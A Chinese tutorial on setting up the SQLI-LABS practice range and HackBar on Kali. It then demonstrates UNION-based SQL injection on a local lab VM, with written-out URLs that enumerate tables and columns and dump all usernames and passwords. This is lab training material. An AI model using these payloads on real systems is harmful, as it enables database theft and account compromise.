SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+

2023-11-07

1 SQLI-LABS专有靶场搭建

1.1 SQLI-LABS下载

SQLI-LABS 是一个学习 SQL 注入的实验平台
下载地址:https://github.com/Audi-1/sqli-labs

1.2 Lamp环境搭建

在centos上搭建LAMP环境,并关闭防火墙和selinux。
安装完成之后开启Apache和mysql。
环境搭建比较简单,这里不再赘述。

1.3 安装SQLI-LABS实验环境

在xhell中将压缩包上传至centos:
在这里插入图片描述
解压:
[root@localhost ~]# unzip sqli-labs-master.zip -d /var/www/html
改名字,这样便于我们访问:
[root@localhost ~]# mv /var/www/html/sqli-labs-master/ /var/www/html/sqli-labs
Apache服务默认运行的用户是apache,因此我们修改/var/www/html/目录下文件的所有者以使文件对apache用户可写:
[root@xuegod63 ~]# chown -R apache:apache /var/www/html/
注:-R:递归修改
[root@xuegod63 ~]# vim /var/www/html/sqli-labs/sql-connections/db-creds.inc
修改SQLI-LABS配置文件以连接数据库:
在这里插入图片描述
输入自己设置的用户名和密码即可(如果没有设置,默认无密码)。
:wq保存退出。
浏览器访问:http://192.168.1.119/sqli-labs/
点击安装数据库:
在这里插入图片描述
安装成功:
在这里插入图片描述
点击后退,到此环境搭建成功:
在这里插入图片描述

2 更新kali火狐浏览器并安装hackbar插件

2.1 卸载Firefox浏览器并安装新版

更新原因:Kali 中自带的 Firefox 安装插件存在一定的问题会导致插件安装失败。我们到官网下载新
版本的 Firefox。
卸载旧版本浏览器
root@kali:~# rm -rf /usr/lib/firefox-esr
root@kali:~# rm -rf /usr/lib/firefox-bin
root@kali:~# rm -rf /usr/lib/firefox
root@kali:~# rm -rf /usr/bin/firefox

下载最新版本 firefox
https://www.mozilla.org/zh-CN/firefox/new/
注:67版本的可用,如果你的版本高于67则不需要更新
上传压缩包到kali,解压:
root@kali:~# tar -jxvf firefox-67.0.4.tar.bz2 -C /usr/lib/ #解压 firefox 到 /usr/lib/目录下
在这里插入图片描述
创建软链接
root@xuegod53:~# ln -s /usr/lib/firefox/firefox /usr/bin/firefox
root@xuegod53:~# firefox & #运行火狐浏览器 &:后台运行
或:
创建快捷启动方式,新建文件添加以下内容
root@xuegod53:~# vim /usr/share/applications/firefox.desktop

[Desktop Entry]
Version=666
Name=firefox
Name[zh_CN]=firefox-浏览器
Exec=firefox
Terminal=false
Type=Application
Icon=firefox
在这里插入图片描述
:wq保存退出
这时候打开应用程序列表可以找到Firefox,并可以把它拖到收藏夹:
在这里插入图片描述

2.2 安装hackbar插件

上传hackbar压缩包并解压:
root@kali:~# unzip hackbar2.1.3-master.zip
在这里插入图片描述
root@kali:~# ls hackbar2.1.3-master
{4c98c9c7-fc13-4622-b08a-a18923469c1c}.xpi img README.md
打开Firefox浏览器:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
关闭自动更新:
在这里插入图片描述
在这里插入图片描述
按下F12,看到这个页面说明安装成功了:
在这里插入图片描述

3 SQL注入实战演示

3.1 爆出字段的显示位置

在 kali 中打开 firefox 浏览器,并访问 http://192.168.1.119/sqli-labs/
打开less1:
在这里插入图片描述
在这里插入图片描述
打开hackbar,根据提示输入ID参数:
在这里插入图片描述
点击execute执行:
在这里插入图片描述
输入以下内容来爆出字段显示位置
http://192.168.1.119/sqli-labs/Less-1/?id=-1’ union select 1,2,3–+
在sql中单行注释有两种:
1、-- 后面必须有一个空格
2、#
因为在url中直接输入空格并不能传递到后端sql语句中,
其中,+在url中表示空格,因此可以使–有效注释掉后面的SQL语句。
或:–’使用单引号使sql中的’闭合
由于#在URL中有特殊含义,因此也可以使用#的URL编码,将–+替换成%23
Id=后面的所有内容被传送到后端,id=-1的时候,查询不到相应数据行,因此返回0行,用union使得查询到的内容仅为后面select返回的内容,select 1,2,3查询到的内容仅为1行:1 2 3
在这里插入图片描述
发现用户名和密码的字段分别是2和3

3.2 获取数据库名称

Database():数据库内置函数,可以获取当前数据库名称:
http://192.168.1.119/sqli-labs/Less-1/?id=-1’ union select 1,database(),3–’
在这里插入图片描述
Database()函数放到2所在的字段,因此显示在用户名的位置。

3.3 列出当前数据库的所有数据表

http://192.168.1.119/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+
Group_concat:将多个字段连接成一个字段
information_schema:MySQL自带的数据库,提供了访问数据库元数据的方式。元数据就是关于数据的数据,如数据库名或表名,列的数据类型和访问权限等。
查看information_schema中的数据表:
在这里插入图片描述
tables是information_schema的一个数据表,其中包含的字段有:
在这里插入图片描述
在这里插入图片描述
查询到了 4 个表名称分别是:emails,referers,uagents,users

3.4 获取users表中的字段名

http://192.168.1.119/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’ --+
columns表:给出了数据库中的数据表列信息
在这里插入图片描述

3.5 获取用户名和密码字段值

http://192.168.1.119/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(0x3c,0x62,0x72,0x3e,username,0x3a,password),3 from users–+
0x3c,0x62,0x72,0x3e表示< br >,在html中用于换行。
0x3a表示冒号。
在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+ 的相关文章

  • Laravel 验证:存在附加列条件 - 自定义验证规则

    在 Laravel 中指定存在验证规则时 是否有一种方法可以引用另一个字段 我希望能够说输入 a 必须存在于表 a 中 输入 b 必须存在于表 b 中 并且表 b 中列 x 的值必须等于输入 a 最好通过例子来解释 public rules
  • 我如何知道请求是否来自 flash swf?

    我有一个用 flash 开发的应用程序 我需要访问一些 php 文件 因此 如果访问来自 swf 则 php 文件会返回一些数据 如何判断请求是否来自Flash 无需将 get post 变量传递给 php 可能是用户代理 推荐人 请记住
  • Sql:计算随时间的增长

    我几周前发布了这个问题 但我认为我没有清楚地提出这个问题 因为我得到的答案不是我想要的 我认为最好重新开始 我正在尝试查询数据库以检索一段时间内唯一条目的数量 数据看起来像这样 Day UserID 1 A 1 B 2 B 3 A 4 B
  • 使用MySQL计算单个表中借方和贷方的余额

    下面的 MySQL 表包含带有关联金额的借方或贷方 操作 如何选择具有非零 余额 的所有 CLIENT ID 我尝试将表连接到自身以计算所有借方和贷方总额 但有些东西无法正常工作 CLIENT ID ACTION TYPE ACTION A
  • 如何验证使用 php 上传的文件不包含可执行二进制文件?

    使用简单的 Firefox 插件 黑客可以更改他们想要上传的任何文件的 MIME 类型 绕过文件类型检查器 然后 黑客可以使用 GIMP 等程序将 php 脚本嵌入到图像 音频或任何其他文件的二进制数据中 我该如何检查并防止这种情况发生 您
  • Laravel Sum 列数据库 Eloquent

    尝试获取我的一个表中 int 字段的总和应该非常容易 不幸的是 事实并非如此 因为无论我使用 Laravel MySQL 还是 Excel 我都会得到不同的结果 Laravel 5 4 给了我20506 Table sum field na
  • 如何比较两个字符串的大小写和变音符号不敏感?

    我有两根弦 字符串 1 塞巴斯蒂安 字符串 2 塞巴斯蒂安 我想通过忽略 重音 字符来比较这两个字符串 谁能知道这个逻辑吗 提前致谢
  • Facebook Graph API v3.1 开发人员访问令牌权限限制

    如您所知 Facebook 将其 API 升级到了 V3 1 现在正在慢慢地淘汰旧的 API 和应用程序 因此我们必须迁移到新的 API 他们做出了一些艰难的决定 这对垃圾邮件网站来说是好事 但对开发人员来说也很难 提醒 Graph API
  • 如何读取 XML 文件并从中获取值以在 PHP 编码的 HTML 页面中显示

    我有一个 XML 文件 其中有一些重复的标签 其中包含不同的值 我需要获取这些值并显示在我的网页中 请帮助我得到这个 如果您使用 PHP5 可以查看 SimpleXML 您可以在这里找到介绍教程 http www w3schools com
  • Node.js 进行 rsa 加密的正确方法?

    我正在尝试创建一个 WS 来发出肥皂请求 在消息正文中有一个包含加密文本的字段 我有公钥来加密文本 但我获得的唯一结果是文本无法识别 我使用节点的加密模块来发出请求 并且文本已加密 但我不知道为什么没有正确加密 PS我用 openssl p
  • 通过 AJAX 发送 XML

    我在 jQuery 中创建了一个 xml 文档 如下所示 var xmlDocument
  • 如何在 join 语句中进行计数

    我有桌子post int post id varchar title text content和表comment int comment id int post id varchar content其中 post id 是外键引用表帖子 如
  • Laravel Group By 和 Order By 不起作用

    我尝试制作一个Laravel 5 8项目 项目中的数据是这样的 id purch name prcvalue 1 10234 Nabila 100 2 10234 Nadeera 450 3 10234 Nabila 540 4 10234
  • DOMPDF - 未找到“字体”类

    我正在尝试通过命令行添加字体 每次我尝试都会收到以下错误 Fatal error Class Font not found in home scripts public html MarketingPalv2 load font php o
  • #1045 - 用户“root”@“localhost”的访问被拒绝(使用密码:YES)

    这可能看起来多余 但我无法找到正确的解决方案 我无法使用 mysql 控制台登录 mysql 它要求输入密码 但我不知道我实际输入的内容 有办法获取密码或更改密码吗 这就是我的 config inc 的样子 当我尝试打开 phpmyadmi
  • PHP 日志文件颜色

    我正在编写一个 PHP 日志文件类 但我想为写入文件的行添加颜色 我遇到的问题是颜色也会改变终端的颜色 我想要实现的是仅更改写入日志文件的行的颜色 class logClass extends Singleton private funct
  • 图像创建从jpeg() PHP

    我正在使用 imagecreatefromjpeg 函数合并两张图片 现在我面临的问题是 当我使用服务器中的图片时 它工作正常 而当我使用其他网站的图片时 它不起作用 例如 当我使用这个 PHP 文件时http coolfbapps in
  • 如何使用 PHP 获取列中的所有值?

    我一直在到处寻找这个问题 但仍然找不到解决方案 如何从 mySQL 列中获取所有值并将它们存储在数组中 例如 表名称 客户 列名称 ID 名称 行数 5 我想获取此表中所有 5 个名称的数组 我该如何去做呢 我正在使用 PHP 我试图 SE
  • 让 Prometheus 发送 SQL 查询

    我正在尝试使用普罗米修斯 https prometheus io 监视我的 MySQL 数据库 但似乎找不到添加 SQL 查询的区域 例如 我想运行一个返回值的 SQL 查询 然后将该值添加到图表中 发送警报 有没有办法让 Promethe
  • 如何显示 PHP 对象

    我有这样的代码 dataRecord1 client gt GetRecord token table filter echo pre print r dataRecord1 echo pre foreach dataRecord1 gt

随机推荐

  • RSA用私钥加密。。

    RSA是一种使用非对称加密的算法 以前总认为只有公钥加密 私钥解密的 现在看到了一篇关于私钥加密 公钥解密的文章 怀疑人生 现把代码贴在下面 正确的方式是公钥加密 私钥解密 私钥加签 公钥验签 加密是为了防止信息被泄露 而签名是为了防止信息
  • Android 检测是否安装微信、支付宝

    检测设备上是否安装微信 支付宝的代码 检测是否安装支付宝 param context return public static boolean isAliPayInstalled Context context Uri uri Uri pa
  • 在vue3中配置ByteMD掘金同款markdown编辑器

    最近因为想要一个富文本编辑器集合到项目中 在查找网上很多资料后 选择了ByteMD 编辑器 ByteMD 编辑器是字节跳动的掘金团队所开源的一个编辑器组件 还挺好用的 那如果要在vue3项目中配置ByteMD编辑器要如何配置呢 用一个小de
  • 如何在SDK中打开例程

    第一步 在某个硬盘如D盘中新建一个文件夹 名字随意取 如为 10 2 xinlicheng 第二步 打开CCS 设置工作路径为10 2 xinlicheng的工作路径 并点launch 如下图 第三步 在菜单栏中的project 下拉找到i
  • 微服务实战中如何理解服务熔断和降级的区别

    你好 我是老王 不做隔壁的邻居 只想交个朋友 欢迎关注我的公众号 王自简 以下内容若引起您的不适 欢迎指正 您的批评是我成长的动力 熔断 举个例子解释 生活中每家每户都在用电 小明家的电线因为故障导致了小明家停电了 而小李 小张家的电是正常
  • QTableWidget部件使用

    一 部件说明 qtablewidget部件常用来作为qt界面表格显示工具 qtablewidget是qtableview的子类 其区别是qtableview可以使用自定义的数据模型来显示内容 而qtablewidget只能使用标准的数据模型
  • 2020-12-27

    海盗分金币 题目 代码 题目 有5个海盗 相约进行一次帆船比赛 比赛中天气发生突变 他们被冲散了 恰巧 他们都先后经过途中的一个无名的荒岛 并且每个人都信心满满 觉得自己是第一个经过该岛的人 第一个人在沙滩上发现了一堆金币 他把金币分成5等
  • SAP ABAP ME23N 采购订单打印输出

    本人诚心接ABAP远程开发任务 价格公道 有需要的联系我 欢迎个人 甲方爸爸 乙方私信联系 完成的功能是ME23N 点击打印预览 客制化用户自己的打印模板 首先需要先配置打印输出 路径 spro gt 物料管理 gt 采购 gt 消息 gt
  • 【SQL Server DBA】日常巡检2:windows性能监控器

    性能监视器的各类指标 一 内存指标 1 Windows层面上的内存使用检查在检查SQL Server内存使用之前 DBA必须首先检查一下Windows层面的内存使用情况 Windows层面没有明显的内存压力 是SQL Server正常运行的
  • Github Blame、History 按钮什么意思?

    Github Blame History 按钮 是啥意思 blame 按行显示最新提交的信息 The blame command is a Git feature designed to help you determine who mad
  • percent percentile percentage有什么区别

    percent 百分之几 My mobile phone battery is currently at 10 percent 我的手机电池目前还有10 percentage 百分比 The percentage of students w
  • JetBrains IDE使用(更新中)

    简介 JetBrains IDE是JetBrains公司推出的IDE Integreated Development Environment 集成开发环境 包括IntelliJ IDEA PyCharm WebStorm等 该公司旗下的ID
  • 说说webpack中常见的Plugin?解决了什么问题?

    提示 文章写完后 目录可以自动生成 如何生成可参考右边的帮助文档 文章目录 一 webpack中的 Plugin 是什么 二 配置方式 1 通过配置文件导出对象中plugins属性传入new实例对象 如下所示 三 常见的Plugin 总结
  • uniapp ios圆角溢出不影藏的问题

    代码 list img position relative z index 1 overflow hidden height 154px text align center border radius 5px border 1px soli
  • Firefox报错——Gah. Your tab just crashed.

    Firefox报错 Gah Your tab just crashed 使用kali内置的firefox的时候报错了 看了一下好像没有可执行文件了 可能不小心删了吧 早看内置的不爽了 正好下个新的 在Kali官网下载linux的安装包 链接
  • 运算符

    文章目录 一 算术运算符 1 基本四则运算符有 加 减 乘 除 求余或求模 2 增量赋值运算符有 3 自增 自减运算符 二 关系运算符 关系运算符主要有 lt gt lt gt 三 逻辑运算符 逻辑运算符主要有 逻辑与 逻辑或 逻辑非 四
  • 安装配置mariadb

    记录下安装配置mariadb的经历 环境 ubuntu22 一 apt在线安装 apt代理配置 APT是Ubuntu系统中用于安装和升级软件包的工具 如果本地没有可用的软件包 APT将会连接到远程软件包服务器下载软件包 在某些情况下 用户需
  • 信息熵(Entropy)到底是用来衡量什么的?

    信息熵 Entropy 到底是用来衡量什么的 与Philip ZHANG商榷 思明 中国研究 zgyj1999 xiamian htm
  • 学习MQTT QoS的原理与应用

    MQTT QoS的原理与应用 学习QoS的原理与应用 文章目录 MQTT QoS的原理与应用 一 什么是服务质量 2 设置QoS 3 服务质量降级 4 使用步骤 1 引入PubSubClient库 二 保留消息 保留消息得到介绍 保留消息应
  • SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+

    1 SQLI LABS专有靶场搭建 1 1 SQLI LABS下载 SQLI LABS 是一个学习 SQL 注入的实验平台 下载地址 https github com Audi 1 sqli labs 1 2 Lamp环境搭建 在cento